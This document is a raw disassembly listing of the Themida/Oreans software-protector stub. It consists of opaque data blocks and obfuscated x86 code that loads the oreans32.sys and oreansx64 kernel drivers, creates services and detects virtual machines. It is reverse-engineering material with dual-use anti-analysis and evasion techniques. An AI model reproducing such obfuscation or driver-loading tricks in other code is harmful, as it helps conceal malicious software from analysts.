		dd 0BD8307FDh, 7FD48E2h, 0A840F00h, 0C7000000h,	0FA017185h
		dd 107h, 9BB58D00h, 0E807FD48h,	0AEh, 48E2BD03h, 0BD8307FDh
		dd 7FD48E2h, 0A840F00h,	0C7000000h, 0FA0AC185h,	107h, 0A9B58D00h
		dd 0E807FD48h, 86h, 48E2BD03h, 0BD8307FDh, 7FD48E2h, 0A840F00h
		dd 0C7000000h, 0FA258185h, 107h, 0B6B58D00h, 0E807FD48h
		dd 5Eh,	48E2BD03h, 0BD8307FDh, 7FD48E2h, 0A840F00h, 0C7000000h
		dd 0FA14D185h, 107h, 0C1B58D00h, 0E807FD48h, 36h, 48E2BD03h
		dd 0BD8307FDh, 7FD48E2h, 0A840F00h, 0C7000000h,	0FA118585h
		dd 107h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h,	850F003Fh, 2, 178AC92Bh
		dd 840F1638h, 5, 0B9h, 80474600h, 840F003Eh, 8,	850FC90Bh
		dd 0FFFFFFD3h, 840FC90Bh, 21h, 0F003F80h, 984h,	203F8000h
		dd 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h, 0FC90B00h, 0D84h
		dd 89F32B00h, 0FD48E2B5h, 0AE907h, 85C70000h, 7FD48E2h
		dd 0
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		or	eax, eax
		jz	loc_5D677D
		mov	dword ptr [ebp+7FA2771h], 0


loc_5D677D:				; CODE XREF: Themida_:005D676Dj
		mov	ecx, eax
		jmp	loc_5D6992
; ---------------------------------------------------------------------------
a3cannotWriteOr	db '3Cannot write oreans.vxd',0Ah
		db 0Dh,'Make sure that this file is not being used by another program.',0
		align 10h
		dd 67h dup(0)
		dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D6992:				; CODE XREF: Themida_:005D677Fj
		jmp	loc_5D6A86
; ---------------------------------------------------------------------------
		mov	byte ptr [ebp+7FA1571h], 47h
		push	0E3E45B86h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		push	104h
		lea	ebx, [ebp+7FA2C15h]
		push	ebx
		call	eax	; _adjust_fdiv
		push	eax
		lea	esi, [ebp+7FD4E78h]
		mov	edi, esi
		xor	al, al


loc_5D69CA:				; CODE XREF: Themida_:005D69CBj
		scasb
		jnz	loc_5D69CA
		sub	edi, esi
		mov	ecx, edi
		pop	eax
		mov	edi, ebx
		add	edi, eax
		rep movsb
		mov	byte ptr [ebp+7FA1571h], 43h
		push	0BC8E6EFCh
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		lea	esi, [ebp+7FA2C15h]
		push	0
		push	80h
		push	2
		push	0
		push	0
		push	0C0000000h
		push	esi
		call	eax	; _adjust_fdiv
		mov	ebx, eax
		mov	byte ptr [ebp+7FA1571h], 57h
		push	0A69BEE56h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		lea	edi, [ebp+7FA2731h]
		lea	ecx, [ebp+7FD4F9Eh]
		push	0
		push	edi
		push	37D0h
		push	ecx
		push	ebx
		call	eax	; _adjust_fdiv
		test	eax, eax
		jnz	loc_5D6A68
		lea	esi, [ebp+7FD4C80h]
		lea	eax, [ebp+7FD38D0h]
		call	eax	; _adjust_fdiv
		lea	ecx, [ebp+7FA72BFh]
		mov	eax, 0
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5D6A68:				; CODE XREF: Themida_:005D6A47j
		mov	byte ptr [ebp+7FA1571h], 43h
		push	0C0764AA7h
		push	dword ptr [ebp+7FA1229h]
		lea	eax, [ebp+7FA3B93h]
		call	eax	; _adjust_fdiv
		push	ebx
		call	eax	; _adjust_fdiv
		retn
; ---------------------------------------------------------------------------


loc_5D6A86:				; CODE XREF: Themida_:loc_5D6992j
		mov	ecx, 37D0h
		call	$+5
		pop	eax
		add	eax, 0Eh
		mov	[eax], ecx
		jmp	loc_5D6A9D
; ---------------------------------------------------------------------------
		mov	eax, ebx


loc_5D6A9D:				; CODE XREF: Themida_:005D6A96j
		jmp	loc_5DA272
; ---------------------------------------------------------------------------
		dw 5A4Dh
		db 90h
		align 2
		dw 3
		dd 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA272:				; CODE XREF: Themida_:loc_5D6A9Dj
		call	near ptr locret_5DA283+1
		leave
		cmpsd
		movsd
		pop	ds
		movsd
		xchg	edi, [ebp-2B57C608h]
		pushf

locret_5DA283:				; CODE XREF: Themida_:loc_5DA272p
		retn	0EB80h
; ---------------------------------------------------------------------------
		dw 5E6Eh
; ---------------------------------------------------------------------------
		add	esi, 6FDFh
		adc	ecx, 3395AB7Fh
		mov	eax, 0
		jmp	loc_5DA2AA
; ---------------------------------------------------------------------------
		dw 7866h
		dd 0B755EC26h, 0B8CA91Bh
; ---------------------------------------------------------------------------
		stosb
		pop	edx


loc_5DA2AA:				; CODE XREF: Themida_:005DA299j
					; Themida_:005DA324j
		push	dword ptr [eax+esi]
		mov	[ebp+7FA1C11h],	esi
		pop	edx
		js	loc_5DA2BB
		clc


loc_5DA2BB:				; CODE XREF: Themida_:005DA2B4j
		add	edx, 4CEC7267h
		push	ecx
		sub	di, 649Bh
		pop	ebx
		add	edx, 6CF5D0DEh
		xor	edx, 72679A89h
		xor	[ebp+7FA0BC1h],	esi
		push	edx
		mov	ebx, [ebp+7FA1CD1h]
		pop	dword ptr [esi+eax]
		jmp	loc_5DA2F1
; ---------------------------------------------------------------------------
		db 0DAh, 7Fh, 0ADh
		dd 85D5D31Ah
		db 88h
; ---------------------------------------------------------------------------


loc_5DA2F1:				; CODE XREF: Themida_:005DA2E4j
		pusha
		clc
		sub	[ebp+7FA04C9h],	edx
		popa
		sub	eax, 1
		jmp	loc_5DA315
; ---------------------------------------------------------------------------
		dw 336h
		dd 0BF685B01h, 2144F340h, 0F9CFED4Ah, 0E1D9D5CFh
		db 78h
; ---------------------------------------------------------------------------


loc_5DA315:				; CODE XREF: Themida_:005DA2FDj
		dec	eax
		dec	eax
		dec	eax
		mov	edi, [ebp+7FA0D15h]
		cmp	eax, 0FFFF90D4h
		jnz	loc_5DA2AA
		mov	bx, 7DAFh
		jmp	loc_5DB3EA
; ---------------------------------------------------------------------------
		db 41h
		dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h
		dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h
		dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh
		dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h
		dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h
		dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0)
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	76726553h, 20656369h, 6B636150h
		dd 3220h, 1Dh dup(0)
		dd 74666F53h, 65726177h, 6E69575Ch
		db 65h,	0
; ---------------------------------------------------------------------------


loc_5DB3EA:				; CODE XREF: Themida_:005DA32Ej
		mov	eax, esp
		push	0
		push	ecx
		call	sub_5DB3F7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB3F7	proc near		; CODE XREF: Themida_:005DB3EFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5DB3F7	endp

; ---------------------------------------------------------------------------
		db 2Bh
		dd 66A4BD1Bh, 0E899597Fh, 9, 0F8B25D74h, 0C9F42F84h, 5ACF8BBBh
		dd 0C75BD8Bh, 858907FAh, 7FA12A5h, 0D926C781h, 0EE8A5D59h
		dd 8C0FC08Bh, 6, 2A98D8Bh, 0BD8307FAh, 7FA16D1h, 83097500h
		dd 0FA3535BDh, 19740007h, 0C08B5350h, 43DB8h, 2D858900h
		dd 8D07FA1Eh, 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h,	7FA35h
		dd 53501774h, 43DB8h, 2D858900h, 8D07FA1Eh, 0FD3CC99Dh
		dd 5BD3FF07h, 59BD8B58h, 8907FA24h, 0FA00F9BDh,	8BDAB607h
		dd 0EE9C0h, 8BDE0000h, 9F683B7Dh, 0DA71975Fh, 66527555h
		dd 8D29C08Bh, 7FA19E1h,	16D1BD83h, 750007FAh, 35BD8309h
		dd 7FA35h, 53501374h, 0B8C08Bh,	8D000000h, 0FD3E7C9Dh
		dd 5BD3FF07h, 35BD8358h, 7FA35h, 53501174h, 0B8h, 2D9D8D00h
		dd 0FF07FD3Dh, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0ADFBC356h,	0A0DC215Eh
		dd 68F0FCCh, 8B000000h,	0FA1EFD8Dh, 0CA8B6607h,	6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 41A9C6C3h, 20C8D92Ah, 11E9F6h, 51FC0000h, 25624BFDh
		dd 0B029467Ah, 4525CFC9h, 8BAD2E7Fh, 0EE9C0h, 0CC2C0000h
		dd 9BF943C7h, 0BE0C1889h, 0C3958815h, 16D1BD83h, 750007FAh
		dd 35BD8309h, 7FA35h, 53501374h, 0B8C08Bh, 8D000000h, 0FD3DAE9Dh
		dd 5BD3FF07h, 35BD8358h, 7FA35h, 53501174h, 0B8h, 0FB9D8D00h
		dd 0FF07FD3Ch, 60585BD3h, 2C0DB58Bh, 0EA8107FAh, 76AFC57Bh
		dd 6E961h, 5DD00000h, 0E23E1036h, 0BD8BC08Bh, 7FA04E9h
		dd 9D29C08Bh, 7FA0489h,	16D1BD83h, 750007FAh, 35BD8309h
		dd 7FA35h, 53501374h, 0B8C08Bh,	8D000000h, 0FD3E159Dh
		dd 5BD3FF07h, 35BD8358h, 7FA35h, 53501174h, 0B8h, 149D8D00h
		dd 0FF07FD3Dh, 8B585BD3h, 57006ACFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1698F1E3h
		dd 720E4F6Ah, 0DE8h, 0AE658F00h, 0F448C6EAh, 931DCE0h
		dd 958B33F4h, 7FA32A1h,	6AC08B5Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 1641C355h
		dd 8D24A331h, 0CB7A8894h, 8BE38A60h, 0FA13618Dh, 0C08B6107h
		dd 0D1BD83FCh, 7FA16h, 0BD830975h, 7FA3535h, 50137400h
		dd 0B8C08B53h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+7FD3D47h]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		mov	cx, di
		stc
		mov	edi, [ebp+7FA27DDh]
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5DB6CD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5DB6CD	proc near		; CODE XREF: Themida_:005DB6C5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5DB6CD	endp

; ---------------------------------------------------------------------------
		db 22h,	4Fh, 56h
		dd 54B9F24Eh, 0E8679033h, 0Bh, 0C7EE931Dh, 0AED87105h
		dd 0B5D819E7h, 0C08B59B3h, 0EE9h, 43A5E300h, 4F6DF597h
		dd 6DBE944Bh, 83AC290Ah, 0FA16D1BDh, 9750007h, 3535BD83h
		dd 740007FAh, 8B535019h, 7D0B8C0h, 85890000h, 7FA1E2Dh
		dd 3FDA9D8Dh, 0D3FF07FDh, 0BD83585Bh, 7FA3535h,	50177400h
		dd 7D0B853h, 85890000h,	7FA1E2Dh, 3CC99D8Dh, 0D3FF07FDh
		dd 0B589585Bh, 7FA1A2Dh, 11A5958Bh, 0C08B07FAh,	157185C6h
		dd 895307FAh, 0FA1E29BDh, 5F906807h, 0FFF59939h, 0FA1229B5h
		dd 0D9816607h, 858D5AB5h, 7FA3B93h, 4E98589h, 958B07FAh
		dd 7FA00F1h, 8956D0FFh,	0FA216D8Dh, 85895F07h, 7FA177Dh
		dd 9E9h, 0D8797100h, 9593B2A6h,	85C654DCh, 7FA1571h, 70C98057h
		dd 4520668h, 0F1958990h, 5607FA1Ch, 0FE9h, 18447C00h, 4407D4C1h
		dd 23F7845h, 253057F7h,	29B5FF5Ah, 6007FA12h, 1C5BD33h
		dd 9D8B07FAh, 7FA31C9h,	93858D61h, 3107FA3Bh, 0FA136585h
		dd 81D0FF07h, 0ABADE9h,	8D858949h, 0E907FA01h, 0Eh, 9133D8DCh
		dd 789D6293h, 7B58BD27h, 85C6118Dh, 7FA1571h, 0FC4ABF43h
		dd 2868407Fh, 81BC9070h, 47F1C2F1h, 29B5FF0Ah, 0F507FA12h
		dd 3B93858Dh, 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 0DD3561C3h, 422E3A5Ah, 8B66E137h
		dd 0D4DD80F8h, 8D89D0FFh, 7FA1D69h, 0BA98589h, 52BA07FAh
		dd 0C64EE41Ah, 0FA157185h, 0BD8B4C07h, 7FA0175h, 0DA1CE968h
		dd 0AD958BD9h, 0FF07FA2Bh, 0FA1229B5h, 398D2907h, 8D07FA08h
		dd 0FA3B9385h, 0D8D8B07h, 0FF07FA0Dh, 8589F9D0h, 7FA1BA9h
		dd 12E8h, 6ED23700h, 71285E82h,	0C9A501E5h, 85A360AAh
		dd 6047F076h, 0CE9h, 0FD086600h, 20BCFE3Ch, 0CD705EDAh
		dd 0FAB70FC1h, 85C65A61h, 7FA1571h, 5445B946h, 8D8956A4h
		dd 7FA055Dh, 0DE061468h, 5BD89BAh, 0FF07FA00h, 0FA1229B5h
		dd 55952307h, 8D07FA07h, 0FA3B9385h, 0E7816607h, 0D0FF880Dh
		dd 66F98B66h, 0DAFAC281h, 3758589h, 830F07FAh, 6, 0CD99D89h
		dd 85C607FAh, 7FA1571h,	0E268F947h, 0F58A0FB5h,	29B5FFFCh
		dd 8D07FA12h, 0FA3B9385h, 3D858907h, 0FF07FA18h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B126Ch, 7FA1C91h, 2E18589h, 830F07FAh, 4, 7F73BA66h
		dd 157185C6h, 8B4707FAh, 0FA17FD8Dh, 0D2816607h, 0F36882E5h
		dd 8083D0B5h, 0B5FFEBDAh, 7FA1229h, 3B93858Dh, 0B58907FAh
		dd 7FA0D3Dh, 0FFFB8B66h, 0EAF4BAD0h, 858961FAh,	7FA1545h
		dd 85C6C88Ah, 7FA1571h,	6833B577h, 0F397A8A3h, 0FE9FCh
		dd 0F0880000h, 1C9E8979h, 7D3CAA5Dh, 1E87F036h,	0DDB5FF7Ch
		dd 0FC07FA21h, 3B93858Dh, 70BA07FAh, 0FF77E1D2h, 0FEB70FD0h
		dd 33458589h, 0B58907FAh, 7FA3439h, 157185C6h, 8B4707FAh
		dd 0FA3511BDh, 0FAF66807h, 6A8728h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 6ECE6DC3h
		dd 39E678A6h, 0F781ABDEh, 5ABF3AFAh, 0FFD3BF0Fh, 0FA1229B5h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F3BBCA7h, 858DF9B7h, 7FA3B93h, 11A58D8Bh
		dd 0D0FF07FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	29C35242h, 0CF9F1842h, 0B70FC11Bh, 798589FFh, 0F07FA01h
		dd 0E84h, 0B58B6000h, 7FA2639h,	92D9D89h, 0C66107FAh, 0FA157185h
		dd 6A4307h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0FC53D5C3h, 6EFC6859h, 8D01BC8Eh,	7FA0429h
		dd 1229B5FFh, 0D4B107FAh, 3B93858Dh, 0B96607FAh, 0D0FF53A2h
		dd 6880Fh, 0BD290000h, 7FA20BDh, 4B18589h, 0F8BF07FAh
		dd 0C6049CA4h, 0FA157185h, 6A4507h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0F45635C3h
		dd 1B36D6A6h, 696815DEh, 0FF8E7269h, 0FA1229B5h, 7E807h
		dd 69C70000h, 8BE0191Fh, 4BB9668Fh, 858D5F42h, 7FA3B93h
		dd 3EA9B966h, 0BE9D0FFh, 0FC000000h, 658D0703h,	76390EA4h
		dd 8589907Ch, 7FA1C0Dh,	85C6D08Ah, 7FA1571h, 50006A44h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 416FC8BEh, 0D58011B0h, 0AABA6636h, 0EC646892h, 9D09B8F2h
		dd 7FA1169h, 1229B5FFh,	958B07FAh, 7FA0499h, 3B93858Dh
		dd 953107FAh, 7FA1F39h,	6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 8ACC01C3h, 8D898541h
		dd 7FA17E9h, 5A18589h, 0BA6607FAh, 85C681DDh, 7FA1571h
		dd 53006A43h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 784922ACh, 0FA8B6633h, 0C800Fh, 810F0000h
		dd 6, 28818D8Bh, 0A76807FAh, 0E8C0764Ah, 14h, 0AE5DF8D1h
		dd 434EE912h, 72DE6E36h, 8C5E3ED4h, 52F1BD56h, 5FF4D980h
		dd 0C80B8BBFh, 29B5FF61h, 8B07FA12h, 0FA1C3195h, 93858D07h
		dd 6607FA3Bh, 0FFFB56B9h, 55006AD0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 3377D515h
		dd 0B5892526h, 7FA1EF5h, 1EB18589h, 8B6607FAh, 1DBD80C8h
		dd 7FD94h, 0F4840Fh, 60F90000h,	261BD29h, 952907FAh, 7FA18C9h
		dd 0FF858D61h, 6A07FD93h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 51C350h, 80D958Bh
		dd 8B5007FAh, 0FA32A995h, 0BF016A07h, 5EC0862Ch, 6A006Ah
		dd 7A9F6BBFh, 0EE873h, 0D3A00000h, 0C262563Bh, 0BED7B731h
		dd 321B8A4Eh, 0A995FF59h, 8107FA0Bh, 0D6CB7F2h,	14E91Eh
		dd 0FA270000h, 83B9A2BFh, 0B78B4823h, 0EA998701h, 0E4D9DE77h
		dd 8589CC25h, 7FA1ED1h,	0FF6AD08Ah, 0B5FF6160h,	7FA1ED1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 68C35141h
		dd 0E870FC9h, 60000000h, 810Fh,	8D8B0000h, 7FA2129h, 8D95FF61h
		dd 0E907FA01h, 0Dh, 0BA99B7B3h,	0E215F8D9h, 0F57D75CEh
		dd 0CE9BBh, 0E0F60000h,	226ACBCEh, 7E6B9DE7h, 0C08B8903h
		dd 2161B589h, 0BD8307FAh, 7FA16D1h, 83097500h, 0FA3535BDh
		dd 19740007h, 0C08B5350h, 7D1B8h, 2D858900h, 8D07FA1Eh
		dd 0FD3FDA9Dh, 5BD3FF07h, 35BD8358h, 7FA35h, 53501774h
		dd 7D1B8h, 2D858900h, 8D07FA1Eh, 0FD3CC99Dh, 5BD3FF07h
		dd 5ABF58h, 9529134Ch, 7FA1D25h, 0BE9C08Bh, 84000000h
		dd 0F397C1ADh, 63FDF98Dh, 85C6EE7Bh, 7FA1571h, 0C168F947h
		dd 8B93C8F7h, 0FA2BB595h, 29B5FF07h, 8907FA12h,	0FA1A019Dh
		dd 93858D07h, 8B07FA3Bh, 0FA19298Dh, 56D0FF07h,	0D3D958Bh
		dd 505A07FAh, 16C58501h, 858D07FAh, 7FD9840h, 33F99589h
		dd 0C707FAh, 94h, 0B58D58FCh, 7FD9840h,	1AC98D31h, 0F5607FAh
		dd 685h, 49B58900h, 0FF07FA2Dh,	5958BD0h, 8D07FA34h, 0FD984085h
		dd 7883F907h, 850F0604h, 38h, 4810Fh, 0B9660000h, 85C78D2Ch
		dd 7FD98D4h, 1,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3EC35141h
		dd 0ADAE3E24h, 210316D3h, 69DBD83h, 0F0007FAh, 4685h, 9FD28000h
		dd 4E57E181h, 0BD837EB4h, 7FD98D4h, 30850F00h, 89000000h
		dd 0FA134595h, 0D1BD8307h, 7FA26h, 1D840Fh, 860F0000h
		dd 8, 519D8960h, 6107FA18h, 7A585C7h, 7FAh, 0ADBA0000h
		dd 664F8021h, 8166DB8Ch, 0F62314F7h, 840F04C3h,	574h, 54D28166h
		dd 0AD85C7D9h, 7FA27h, 8B000000h, 0FA0CE98Dh, 2ABD8007h
		dd 7FD94h, 1D850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0C6C8DCC3h, 0FA157185h
		dd 7EBA4707h, 687830CCh, 0E3E45B86h, 39858960h,	0E907FA19h
		dd 9, 0A12492Ch, 0DABD0998h, 0B5FF61C9h, 7FA1229h, 3B93858Dh
		dd 853107FAh, 7FA1F39h,	1CC58D31h, 0D0FF07FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E2C35141h, 0EA585681h
		dd 9D89B440h, 7FA05DDh,	2E4D958Bh, 46807FAh, 89000001h
		dd 0FA2B9985h, 159D8D07h, 8907FA2Ch, 0FA0B8DBDh, 0EE85307h
		dd 44000000h, 8A748BC7h, 130B4379h, 0C7E66E0Eh,	11E84Dh
		dd 9AD0000h, 992E7378h,	492FCFF3h, 0AC3008C3h, 5188B654h
		dd 0E859595Ah, 11h, 0A0FF60B6h,	0FE6FDFC9h, 734DA50Dh
		dd 0D650AD6Dh, 68D0FA8h, 89000000h, 0FA0ACD8Dh,	0D0FF5A07h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 45C35242h
		dd 0E9BD29A7h, 8D07FA24h, 0FA2C1585h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0BF71625Fh, 50AC28D3h, 12E960h, 0A3AC0000h, 5B7F58F1h
		dd 6F54737Eh, 0C9250B5Dh, 0C9C4912Ah, 3890Fh, 0E3800000h
		dd 858D612Dh, 7FD93DCh,	25358D31h, 810F07FAh, 0Ch, 6840Fh
		dd 0BD8B0000h, 7FA0595h, 38B0F50h, 66000000h, 858DCB8Bh
